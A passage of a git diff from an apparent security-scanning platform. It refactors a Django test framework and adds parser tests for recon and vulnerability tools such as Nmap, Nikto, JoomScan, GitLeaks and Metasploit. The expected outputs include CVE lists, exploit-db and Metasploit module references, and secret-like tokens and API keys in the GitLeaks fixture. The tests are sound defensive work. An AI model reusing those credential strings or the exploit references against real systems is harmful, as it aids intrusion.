+ + http://10.10.10.10/ + GET + //pagead2.googlesyndication.com/pagead/js/adsbygoogle.js + + <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> + + + + 4 + <p>Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application.</p> + + + 829 + 15 + 1 + + + + + 10096 + 10096 + Timestamp Disclosure - Unix + Timestamp Disclosure - Unix + 1 + 1 + Low (Low) + Low + <p>A timestamp was disclosed by the application/web server - Unix</p> + + + + http://10.10.10.10 + GET + + + 11009417 + + + + + http://10.10.10.10/ + GET + + + 11009417 + + + + + http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif + GET + + + 51125622 + + + + 3 + <p>Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.</p> + <p>11009417, which evaluates to: 1970-05-08 11:10:17</p> + <p>http://projects.webappsec.org/w/page/13246936/Information%20Leakage</p> + 200 + 13 + 1 + + + + + 10021 + 10021 + X-Content-Type-Options Header Missing + X-Content-Type-Options Header Missing + 1 + 2 + Low (Medium) + Medium + <p>The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.</p> + + + + http://10.10.10.10 + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/ + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/images/sitelogo.png + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/shared/css/insecdb.css + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/shared/images/Acunetix/acx_Chess-WB.gif + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/shared/images/tiny-eyeicon.png + GET + X-Content-Type-Options + + + + + + + http://10.10.10.10/shared/images/topleftcurve.gif + GET + X-Content-Type-Options + + + + + + 7 + <p>Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.</p><p>If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application/web server to not perform MIME-sniffing.</p> + <p>This issue still applies to error type pages (401, 403, 500, etc.) as those pages are often still affected by injection issues, in which case there is still concern for browsers sniffing pages away from their actual content type.</p><p>At "High" threshold this scan rule will not alert on client or server error responses.</p> + <p>http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx</p><p>https://owasp.org/www-community/Security_Headers</p> + 693 + 15 + 1 + + + + + + \ No newline at end of file diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 2a5b6cf8e..2ad6d392f 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -3,35 +3,22 @@ from typing import Any, Dict, List from django.test import TestCase +from executions.models import Execution from projects.models import Project from rest_framework.test import APIClient from security.authorization.roles import Role from targets.enums import TargetType from targets.models import Target +from tasks.models import Task from tests.cases import RekonoTestCase +from tools.enums import Intensity +from tools.models import Tool from users.models import User class RekonoTest(TestCase): - login = "/api/security/login/" - profile = "/api/profile/" - endpoint = "" - expected_str = "" data_dir = Path(__file__).resolve().parent / "data" cases: List[RekonoTestCase] = [] - anonymous_allowed = False - - def _get_object(self) -> Any: - return None - - def _get_api_client(self, access: str = None, token: str = None): - client = ( - APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") if access else APIClient() - ) - return APIClient(HTTP_AUTHORIZATION=f"Token {token}") if token else client - - def _get_content(self, raw: Any) -> Dict[str, Any]: - return json.loads((raw or "{}".encode()).decode()) def _create_user(self, username: str, role: Role) -> User: new_user = User.objects.create( @@ -64,7 +51,7 @@ def setUp(self) -> None: self.users[role].append(getattr(self, username)) def _setup_project(self) -> None: - self.project = Project.objects.create( + self.project, _ = Project.objects.get_or_create( name="test", description="test", owner=self.admin1 ) for user in [self.admin1, self.auditor1, self.reader1]: @@ -72,16 +59,40 @@ def _setup_project(self) -> None: def _setup_target(self) -> None: self._setup_project() - self.target = Target.objects.create( + self.target, _ = Target.objects.get_or_create( project=self.project, target="10.10.10.10", type=TargetType.PRIVATE_IP ) - def tearDown(self) -> None: - pass + def _metadata(self) -> Dict[str, Any]: + return {} def test_cases(self) -> None: for test_case in self.cases: - test_case.test_case(endpoint=self.endpoint) + test_case.test_case(**self._metadata()) + + +class ApiTest(RekonoTest): + endpoint = "" + login = "/api/security/login/" + profile = "/api/profile/" + expected_str = "" + + anonymous_allowed = False + + def _get_object(self) -> Any: + return None + + def _get_api_client(self, access: str = None, token: str = None): + client = ( + APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") if access else APIClient() + ) + return APIClient(HTTP_AUTHORIZATION=f"Token {token}") if token else client + + def _get_content(self, raw: Any) -> Dict[str, Any]: + return json.loads((raw or "{}".encode()).decode()) + + def _metadata(self) -> Dict[str, Any]: + return {"endpoint": self.endpoint} def test_str(self) -> None: object = self._get_object() @@ -94,3 +105,34 @@ def test_anonymous_access(self) -> None: self.assertEqual( 200 if self.anonymous_allowed else 401, response.status_code ) + + +class ToolTest(RekonoTest): + tool_name = "" + execution = None + executor_arguments = [] + data_dir = RekonoTest.data_dir / "reports" + + def setUp(self) -> None: + if self.tool_name: + super().setUp() + self._setup_project() + self._setup_target() + self.tool = Tool.objects.get(name=self.tool_name) + self.configuration = self.tool.configurations.get(default=True) + self.task = Task.objects.create( + target=self.target, + configuration=self.configuration, + intensity=Intensity.NORMAL, + ) + self.execution = Execution.objects.create( + task=self.task, configuration=self.configuration + ) + + def _metadata(self) -> Dict[str, Any]: + return { + "execution": self.execution, + "executor_arguments": self.executor_arguments, + "reports": self.data_dir, + "tool": self.tool_name, + } diff --git a/src/backend/tests/parsers/__init__.py b/src/backend/tests/parsers/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/parsers/test_cmseek.py b/src/backend/tests/parsers/test_cmseek.py new file mode 100644 index 000000000..4744f3720 --- /dev/null +++ b/src/backend/tests/parsers/test_cmseek.py @@ -0,0 +1,188 @@ +from findings.enums import PathType, Severity +from findings.models import Credential, Path, Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class CmseekTest(ToolTest): + tool_name = "CMSeeK" + cases = [ + ToolTestCase( + "dvwp.json", + [ + { + "model": Technology, + "name": "WordPress", + "version": "5.3", + "description": "CMS", + "reference": "https://wordpress.org", + }, + {"model": Path, "path": "/license.txt", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "social-warfare", + "version": "3.5.2", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "wp-file-upload", + "version": "5.3", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "wp-advanced-search", + "version": "1.0", + "description": "WordPress plugins", + }, + {"model": Path, "path": "/readme.html", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "twentytwenty", + "version": "1.0", + "description": "WordPress themes", + }, + ], + ), + ToolTestCase( + "joomla.json", + [ + { + "model": Technology, + "name": "joomla", + "version": "1.0", + "description": "CMS", + "reference": "https://joomla.org", + }, + {"model": Path, "path": "/demo/2.back", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/demo/2.save", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/demo/2.tmp", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/demo/2.backup", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/demo/2.txt", "type": PathType.ENDPOINT}, + { + "model": Vulnerability, + "name": "Backup files found", + "description": "/demo/2.back, /demo/2.save, /demo/2.tmp, /demo/2.backup, /demo/2.txt", + "severity": Severity.HIGH, + "cwe": "CWE-530", + }, + { + "model": Vulnerability, + "name": "Debug mode enabled", + "description": "joomla debug mode enabled", + "severity": Severity.LOW, + "cwe": "CWE-489", + }, + ], + ), + ToolTestCase( + "vwp.json", + [ + { + "model": Technology, + "name": "WordPress", + "version": "4.8.3", + "description": "CMS", + "reference": "https://wordpress.org", + }, + {"model": Path, "path": "/license.txt", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "wp-advanced-search", + "version": "1.0", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "social-warfare", + "version": "3.5.2", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "simple-file-list", + "version": "5", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "wp-file-upload", + "version": "4.8.3", + "description": "WordPress plugins", + }, + {"model": Path, "path": "/readme.html", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "twentyseventeen", + "version": "4.8.3", + "description": "WordPress themes", + }, + {"model": Vulnerability, "cve": "CVE-2019-16223"}, + {"model": Vulnerability, "cve": "CVE-2019-16222"}, + {"model": Vulnerability, "cve": "CVE-2019-16221"}, + {"model": Vulnerability, "cve": "CVE-2019-16220"}, + {"model": Vulnerability, "cve": "CVE-2019-16219"}, + {"model": Vulnerability, "cve": "CVE-2019-16218"}, + {"model": Vulnerability, "cve": "CVE-2019-16217"}, + {"model": Vulnerability, "cve": "CVE-2019-9787"}, + {"model": Vulnerability, "cve": "CVE-2019-8942"}, + {"model": Vulnerability, "cve": "CVE-2018-20153"}, + {"model": Vulnerability, "cve": "CVE-2018-20152"}, + {"model": Vulnerability, "cve": "CVE-2018-20151"}, + {"model": Vulnerability, "cve": "CVE-2018-20150"}, + {"model": Vulnerability, "cve": "CVE-2018-20149"}, + {"model": Vulnerability, "cve": "CVE-2018-20148"}, + {"model": Vulnerability, "cve": "CVE-2018-20147"}, + {"model": Vulnerability, "cve": "CVE-2018-12895"}, + {"model": Vulnerability, "cve": "CVE-2017-1000600"}, + ], + ), + ToolTestCase( + "wordpress.json", + [ + { + "model": Technology, + "name": "WordPress", + "version": "5.8.3", + "description": "CMS", + "reference": "https://wordpress.org", + }, + {"model": Path, "path": "/license.txt", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "orbisius-simple-notice", + "version": "1.0", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "qs_site_app", + "version": "1642244787", + "description": "WordPress plugins", + }, + { + "model": Technology, + "name": "monarch", + "version": "1.4.14", + "description": "WordPress plugins", + }, + {"model": Path, "path": "/readme.html", "type": PathType.ENDPOINT}, + { + "model": Technology, + "name": "primer", + "version": "1590756562", + "description": "WordPress themes", + }, + { + "model": Technology, + "name": "qs-on-primer", + "version": "1617278312", + "description": "WordPress themes", + }, + {"model": Credential, "username": "wpdemohelper1"}, + {"model": Credential, "username": "superadmin"}, + {"model": Credential, "username": "wpdemo"}, + ], + ), + ] diff --git a/src/backend/tests/parsers/test_dirsearch.py b/src/backend/tests/parsers/test_dirsearch.py new file mode 100644 index 000000000..f14b00dda --- /dev/null +++ b/src/backend/tests/parsers/test_dirsearch.py @@ -0,0 +1,147 @@ +from findings.enums import PathType +from findings.models import Path +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class DirsearchTest(ToolTest): + tool_name = "Dirsearch" + cases = [ + ToolTestCase( + "default.json", + [ + { + "model": Path, + "path": "/.ht_wsr.txt", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess.sample", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess_orig", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess.bak1", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess_sc", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess.save", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess.orig", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess_extra", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htm", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccessBAK", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.httr-oauth", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccessOLD2", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.html", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccessOLD", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htpasswds", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htpasswd_test", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.php", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/assets/", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/assets", + "status": 301, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/index.html", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/server-status", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/server-status/", + "status": 403, + "type": PathType.ENDPOINT, + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_emailfinder.py b/src/backend/tests/parsers/test_emailfinder.py new file mode 100644 index 000000000..7641ea593 --- /dev/null +++ b/src/backend/tests/parsers/test_emailfinder.py @@ -0,0 +1,40 @@ +from findings.enums import OSINTDataType +from findings.models import OSINT +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class EmailfinderTest(ToolTest): + tool_name = "EmailFinder" + cases = [ + ToolTestCase( + "default.txt", + [ + { + "model": OSINT, + "data": "support@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "education@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "ceo@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "someone@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "other@test.com", + "data_type": OSINTDataType.EMAIL, + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_emailharvester.py b/src/backend/tests/parsers/test_emailharvester.py new file mode 100644 index 000000000..11a85d4a2 --- /dev/null +++ b/src/backend/tests/parsers/test_emailharvester.py @@ -0,0 +1,40 @@ +from findings.enums import OSINTDataType +from findings.models import OSINT +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class EmailharvesterTest(ToolTest): + tool_name = "EmailHarvester" + cases = [ + ToolTestCase( + "default.txt", + [ + { + "model": OSINT, + "data": "support@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "education@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "ceo@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "someone@test.com", + "data_type": OSINTDataType.EMAIL, + }, + { + "model": OSINT, + "data": "other@test.com", + "data_type": OSINTDataType.EMAIL, + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_gitleaks.py b/src/backend/tests/parsers/test_gitleaks.py new file mode 100644 index 000000000..91fecf9e4 --- /dev/null +++ b/src/backend/tests/parsers/test_gitleaks.py @@ -0,0 +1,54 @@ +from findings.models import Credential +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class GitleaksTest(ToolTest): + tool_name = "GitLeaks" + cases = [ + ToolTestCase( + "leaky-repo.json", + [ + { + "model": Credential, + "secret": 'token: "7f9cc25de23d1a255720b0ae4551f4044d600f46"', + "context": "/.git/ : hub -> Line 4", + }, + { + "model": Credential, + "email": "git@asdf.com", + "context": "/.git/ : Email of the commit author ASDF", + }, + { + "model": Credential, + "secret": "xoxp-858723095049", + "context": "/.git/ : .bash_profile -> Line 23", + }, + { + "model": Credential, + "secret": "API_TOKEN='51e61afee2c2667123fc9ed160a0a20b330c8f74'", + "context": "/.git/ : .bash_profile -> Line 22", + }, + { + "model": Credential, + "secret": 'API_KEY="38c47f19e349153fa963bb3b3212fe8e-us11"', + "context": "/.git/ : .bashrc -> Line 106", + }, + { + "model": Credential, + "secret": 'TOKEN="c77e01c1e89682e4d4b94a059a7fd2b37ab326ed"', + "context": "/.git/ : .bashrc -> Line 109", + }, + { + "model": Credential, + "secret": "-----BEGIN RSA PRIVATE KEY-----", + "context": "/.git/ : .ssh/id_rsa -> Line 1", + }, + { + "model": Credential, + "secret": "-----BEGIN PRIVATE KEY-----", + "context": "/.git/ : misc-keys/cert-key.pem -> Line 1", + }, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_gobuster.py b/src/backend/tests/parsers/test_gobuster.py new file mode 100644 index 000000000..26449c477 --- /dev/null +++ b/src/backend/tests/parsers/test_gobuster.py @@ -0,0 +1,145 @@ +from findings.enums import OSINTDataType, PathType +from findings.models import OSINT, Path +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class GobusterTest(ToolTest): + tool_name = "Gobuster" + cases = [ + ToolTestCase( + "dir.txt", + [ + { + "model": Path, + "path": "/.gitignore", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.hta", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htaccess", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/.htpasswd", + "status": 403, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/config", + "status": 301, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/docs", + "status": 301, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/external", + "status": 301, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/favicon.ico", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/index.php", + "status": 302, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/php.ini", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/phpinfo.php", + "status": 302, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/robots.txt", + "status": 200, + "type": PathType.ENDPOINT, + }, + { + "model": Path, + "path": "/server-status", + "status": 403, + "type": PathType.ENDPOINT, + }, + ], + ), + ToolTestCase( + "dns.txt", + [ + { + "model": OSINT, + "data": "chat.example.com", + "data_type": OSINTDataType.DOMAIN, + "source": "DNS", + }, + { + "model": OSINT, + "data": "10.10.10.10", + "data_type": OSINTDataType.IP, + "source": "DNS", + }, + { + "model": OSINT, + "data": "10.10.10.11", + "data_type": OSINTDataType.IP, + "source": "DNS", + }, + { + "model": OSINT, + "data": "echo.example.com", + "data_type": OSINTDataType.DOMAIN, + "source": "DNS", + }, + { + "model": OSINT, + "data": "10.10.10.10", + "data_type": OSINTDataType.IP, + "source": "DNS", + }, + { + "model": OSINT, + "data": "10.10.10.11", + "data_type": OSINTDataType.IP, + "source": "DNS", + }, + ], + ), + ToolTestCase( + "vhost.txt", + [ + { + "model": OSINT, + "data": "enquetes.example.com", + "data_type": OSINTDataType.VHOST, + "source": "Enumeration", + } + ], + ), + ] diff --git a/src/backend/tests/parsers/test_joomscan.py b/src/backend/tests/parsers/test_joomscan.py new file mode 100644 index 000000000..dc527b4ea --- /dev/null +++ b/src/backend/tests/parsers/test_joomscan.py @@ -0,0 +1,160 @@ +from findings.enums import PathType, Severity +from findings.models import Exploit, Path, Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class JoomscanTest(ToolTest): + tool_name = "JoomScan" + executor_arguments = ["-u", "http://10.10.10.10/"] + cases = [ + ToolTestCase( + "exploitable.txt", + [ + { + "model": Technology, + "name": "Joomla", + "version": "3.4.5", + "description": "Joomla 3.4.5", + "reference": "https://www.joomla.org/", + }, + { + "model": Vulnerability, + "name": "3.4.4 < 3.6.4 - Account Creation / Privilege Escalation", + "cve": "CVE-2016-8870", + }, + { + "model": Vulnerability, + "name": "3.4.4 < 3.6.4 - Account Creation / Privilege Escalation", + "cve": "CVE-2016-8869", + }, + { + "model": Exploit, + "title": "3.4.4 < 3.6.4 - Account Creation / Privilege Escalation", + "edb_id": 40637, + "reference": "https://www.exploit-db.com/exploits/40637/", + }, + { + "model": Vulnerability, + "name": "Core Remote Privilege Escalation Vulnerability", + "cve": "CVE-2016-9838", + }, + { + "model": Exploit, + "title": "Core Remote Privilege Escalation Vulnerability", + "edb_id": 41157, + "reference": "https://www.exploit-db.com/exploits/41157/", + }, + { + "model": Vulnerability, + "name": "Directory Traversal Vulnerability", + "cve": "CVE-2015-8565", + }, + { + "model": Vulnerability, + "name": "Directory Traversal Vulnerability", + "cve": "CVE-2015-8564", + }, + { + "model": Vulnerability, + "name": "Core Cross Site Request Forgery Vulnerability", + "cve": "CVE-2015-8563", + }, + { + "model": Vulnerability, + "name": "Core Security Bypass Vulnerability", + "cve": "CVE-2016-9081", + }, + { + "model": Vulnerability, + "name": "Core Arbitrary File Upload Vulnerability", + "cve": "CVE-2016-9836", + }, + { + "model": Vulnerability, + "name": "Information Disclosure Vulnerability", + "cve": "CVE-2016-9837", + }, + { + "model": Vulnerability, + "name": "PHPMailer Remote Code Execution Vulnerability", + "cve": "CVE-2016-10033", + }, + { + "model": Exploit, + "title": "PHPMailer Remote Code Execution Vulnerability", + "edb_id": 40969, + "reference": "https://www.exploit-db.com/exploits/40969/", + }, + { + "model": Vulnerability, + "name": "PPHPMailer Incomplete Fix Remote Code Execution Vulnerability", + "cve": "CVE-2016-10045", + }, + { + "model": Exploit, + "title": "PPHPMailer Incomplete Fix Remote Code Execution Vulnerability", + "edb_id": 40969, + "reference": "https://www.exploit-db.com/exploits/40969/", + }, + {"model": Path, "path": "/administrator/", "type": PathType.ENDPOINT}, + ], + ), + ToolTestCase( + "not-exploitable.txt", + [ + { + "model": Technology, + "name": "Joomla", + "version": "3.7.0", + "description": "Joomla 3.7.0", + "reference": "https://www.joomla.org/", + }, + {"model": Path, "path": "/administrator/", "type": PathType.ENDPOINT}, + { + "model": Path, + "path": "/backup/config.php.bak", + "type": PathType.ENDPOINT, + }, + {"model": Path, "path": "/config.php", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/error.php", "type": PathType.ENDPOINT}, + {"model": Path, "path": "/static", "type": PathType.ENDPOINT}, + { + "model": Vulnerability, + "name": "Debug mode enabled", + "description": "Joomla debug mode enabled", + "severity": Severity.LOW, + "cwe": "CWE-489", + }, + { + "model": Vulnerability, + "name": "Backup files found", + "description": "/backup/config.php.bak", + "severity": Severity.HIGH, + "cwe": "CWE-530", + }, + { + "model": Vulnerability, + "name": "Configuration files found", + "description": "/config.php", + "severity": Severity.MEDIUM, + "cwe": "CWE-497", + }, + { + "model": Vulnerability, + "name": "Full path disclosure", + "description": "/static", + "severity": Severity.LOW, + "cwe": "CWE-497", + }, + { + "model": Vulnerability, + "name": "Directory listing", + "description": "/error.php", + "severity": Severity.LOW, + "cwe": "CWE-548", + }, + ], + ), + ToolTestCase("not-joomla.txt"), + ] diff --git a/src/backend/tests/parsers/test_log4j_scan.py b/src/backend/tests/parsers/test_log4j_scan.py new file mode 100644 index 000000000..00f3c0b51 --- /dev/null +++ b/src/backend/tests/parsers/test_log4j_scan.py @@ -0,0 +1,14 @@ +from findings.models import Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class Log4jscanTest(ToolTest): + tool_name = "Log4j Scan" + cases = [ + ToolTestCase( + "cve_2021_44228.txt", + [{"model": Vulnerability, "name": "Log4Shell", "cve": "CVE-2021-44228"}], + ), + ToolTestCase("not_vulnerable.txt"), + ] diff --git a/src/backend/tests/parsers/test_metasploit.py b/src/backend/tests/parsers/test_metasploit.py new file mode 100644 index 000000000..d0c3fcf3e --- /dev/null +++ b/src/backend/tests/parsers/test_metasploit.py @@ -0,0 +1,35 @@ +from findings.models import Exploit +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class MetasploitTest(ToolTest): + tool_name = "Metasploit" + cases = [ + ToolTestCase( + "exploits.txt", + [ + { + "model": Exploit, + "title": "HP Data Protector Encrypted Communication Remote Command Execution", + "reference": "exploit/windows/misc/hp_dataprotector_encrypted_comms", + }, + { + "model": Exploit, + "title": "Ruby on Rails ActionPack Inline ERB Code Execution", + "reference": "exploit/multi/http/rails_actionpack_inline_exec", + }, + { + "model": Exploit, + "title": "Xymon Daemon Gather Information", + "reference": "auxiliary/gather/xymon_info", + }, + { + "model": Exploit, + "title": "Xymon useradm Command Execution", + "reference": "exploit/unix/webapp/xymon_useradm_cmd_exec", + }, + ], + ), + ToolTestCase("nothing.txt"), + ] diff --git a/src/backend/tests/parsers/test_nikto.py b/src/backend/tests/parsers/test_nikto.py new file mode 100644 index 000000000..7001c8e1f --- /dev/null +++ b/src/backend/tests/parsers/test_nikto.py @@ -0,0 +1,107 @@ +from findings.enums import PathType, Severity +from findings.models import Path, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class NiktoTest(ToolTest): + tool_name = "Nikto" + cases = [ + ToolTestCase( + "default.xml", + [ + { + "model": Vulnerability, + "name": "The anti-clickjacking X-Frame-Options header is not present.", + "description": "[GET /] The anti-clickjacking X-Frame-Options header is not present.", + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": ( + "The X-XSS-Protection header is not defined. This header can hint to the user agent " + "to protect against some forms of XSS" + ), + "description": ( + "[GET /] The X-XSS-Protection header is not defined. This header can hint to the user " + "agent to protect against some forms of XSS" + ), + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": ( + "The X-Content-Type-Options header is not set. This could allow the user agent to " + "render the content of the site in a different fashion to the MIME type" + ), + "description": ( + "[GET /] The X-Content-Type-Options header is not set. This could allow the user " + "agent to render the content of the site in a different fashion to the MIME type" + ), + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": "Uncommon header 'tcn' found, with contents: list", + "description": "[GET /index] Uncommon header 'tcn' found, with contents: list", + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + {"model": Path, "path": "/index", "type": PathType.ENDPOINT}, + { + "model": Vulnerability, + "name": ( + "Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily " + "brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following " + "alternatives for 'index' were found: index.html" + ), + "description": ( + "[GET /index] Apache mod_negotiation is enabled with MultiViews, which allows attackers " + "to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. " + "The following alternatives for 'index' were found: index.html" + ), + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": ( + "Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). " + "Apache 2.2.34 is the EOL for the 2.x branch." + ), + "description": ( + "[HEAD /] Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). " + "Apache 2.2.34 is the EOL for the 2.x branch." + ), + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": "Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ", + "description": "[OPTIONS /] Allowed HTTP Methods: GET, HEAD, POST, OPTIONS ", + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-0", + }, + { + "model": Vulnerability, + "name": "/images/: Directory indexing found.", + "description": "[GET /images/] /images/: Directory indexing found.", + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-3268", + }, + {"model": Path, "path": "/images/", "type": PathType.ENDPOINT}, + { + "model": Vulnerability, + "name": "/icons/README: Apache default file found.", + "description": "[GET /icons/README] /icons/README: Apache default file found.", + "severity": Severity.MEDIUM, + "osvdb": "OSVDB-3233", + }, + {"model": Path, "path": "/icons/README", "type": PathType.ENDPOINT}, + ], + ) + ] diff --git a/src/backend/tests/parsers/test_nmap.py b/src/backend/tests/parsers/test_nmap.py new file mode 100644 index 000000000..7208b967e --- /dev/null +++ b/src/backend/tests/parsers/test_nmap.py @@ -0,0 +1,495 @@ +from findings.enums import HostOS, PathType, PortStatus, Protocol, Severity +from findings.models import Credential, Host, Path, Port, Technology, Vulnerability +from tests.cases import ToolTestCase +from tests.framework import ToolTest + + +class NmapTest(ToolTest): + tool_name = "Nmap" + cases = [ + ToolTestCase( + "enumeration-vulners.xml", + [ + { + "model": Host, + "address": "10.10.10.10", + "os": "Linux 3.2 - 4.9", + "os_type": HostOS.LINUX, + }, + { + "model": Port, + "port": 22, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "ssh", + }, + {"model": Technology, "name": "OpenSSH", "version": "8.0"}, + { + "model": Vulnerability, + "name": "CVE-2020-15778", + "cve": "CVE-2020-15778", + }, + { + "model": Vulnerability, + "name": "CVE-2021-41617", + "cve": "CVE-2021-41617", + }, + { + "model": Vulnerability, + "name": "CVE-2019-16905", + "cve": "CVE-2019-16905", + }, + { + "model": Vulnerability, + "name": "CVE-2020-14145", + "cve": "CVE-2020-14145", + }, + { + "model": Vulnerability, + "name": "CVE-2016-20012", + "cve": "CVE-2016-20012", + }, + { + "model": Port, + "port": 80, + "status": PortStatus.OPEN, + "protocol": Protocol.TCP, + "service": "http", + }, + {"model": Technology, "name": "Apache httpd", "version": "2.4.37"}, + { + "model": Vulnerability, + "name": "CVE-2020-11984", + "cve": "CVE-2020-11984", + }, + { + "model": Vulnerability, + "name": "CVE-2021-44790", + "cve": "CVE-2021-44790", + }, + { + "model": Vulnerability, + "name": "CVE-2021-39275", + "cve": "CVE-2021-39275", + }, + { + "model": Vulnerability, + "name": "CVE-2021-26691", + "cve": "CVE-2021-26691", + }, + { + "model": Vulnerability, + "name": "CVE-2019-0211", + "cve": "CVE-2019-0211", + 